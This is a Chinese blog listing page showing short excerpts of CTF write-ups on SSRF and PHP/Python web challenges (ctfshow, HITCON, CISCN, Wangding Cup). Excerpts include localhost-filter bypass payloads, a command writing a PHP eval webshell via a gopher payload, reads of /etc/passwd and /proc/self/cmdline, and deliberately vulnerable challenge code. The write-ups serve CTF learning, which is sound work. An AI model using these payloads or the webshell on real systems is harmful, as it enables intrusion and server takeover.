![](https://img-blog.csdnimg.cn/20201014180756757.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
SSRF
1
fmyyy1
最废物的web手
展开
-
ctfshow ssrf
351url=http://127.0.0.1/flag.php352在上题的基础上加了过滤if(!preg_match('/localhost|127.0.0/'))这道题绕过方法挺多可以把127.0.0.1进制转换一下ip地址进制转换或者http://127.0.1/flag,phphttp://127.1/flag,php353同上354Y4师傅说了很多方法355host长度限制为5了url=http://127.1/flag或者url=http://0/flag.原创 2021-07-18 15:10:22 · 250 阅读 · 2 评论 -
ctfshow web310
跟前面308 309同一个源码,只是mysql添加了密码不能ssrf了跟309一样不过这题的flag不能直接读,找了一下,web目录下面的flag是假的,真的在/var/flag里面,无法直接用ssrf读到,但写个木马用蚁剑连接就能读到了同样的 利用gopherus工具生成payloadecho "<?php @eval(\$_POST[a]); ?>" > /var/www/html/1.php之后蚁剑连接flag在var/flag目录下的index.html里面补充原创 2021-07-15 12:42:26 · 174 阅读 · 1 评论 -
ctfshow web308 ssrf
在index.php里$service = unserialize(base64_decode($_COOKIE['service']));if($service){ $lastVersion=$service->checkVersion();}在dao.php中有checkVersion方法checkUpdatefunction checkUpdate($url){ $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, $ur.原创 2021-07-15 11:57:04 · 365 阅读 · 0 评论 -
[网鼎杯 2020 玄武组]SSRFMe
第一次做redis相关的题目。主要考点是redis主从复制rce<?phpfunction check_inner_ip($url){ $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url); if (!$match_result) { die('url fomat error'); } try { $url_pars原创 2021-05-27 16:01:21 · 420 阅读 · 2 评论 -
[CISCN2019 华东南赛区]Web4
点击readsomething后链接到了百度,同时url里多了url参数,猜测存在任意文件读取。尝试/etc/passwd成功读取,读取/proc/self/cmdline查看当前进程知道是python的后台,源码在/api/app.py下,读源码# encoding:utf-8import re, random, uuid, urllibfrom flask import Flask, session, requestapp = Flask(__name__)random.see.原创 2021-05-07 12:55:45 · 463 阅读 · 2 评论 -
bestphp‘s revenge
上来就是源码<?phphighlight_file(__FILE__);$b = 'implode';call_user_func($_GET['f'], $_POST);session_start();if (isset($_GET['name'])) { $_SESSION['name'] = $_GET['name'];}var_dump($_SESSION);$a = array(reset($_SESSION), 'welcome_to_the_lctf2018')原创 2021-04-25 21:27:41 · 169 阅读 · 0 评论 -
[HITCON 2017]SSRFme
源码:<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; } echo $_SERVER["REMOTE_ADDR"]; $sandbox = "sandbo原创 2021-04-03 13:53:38 · 170 阅读 · 1 评论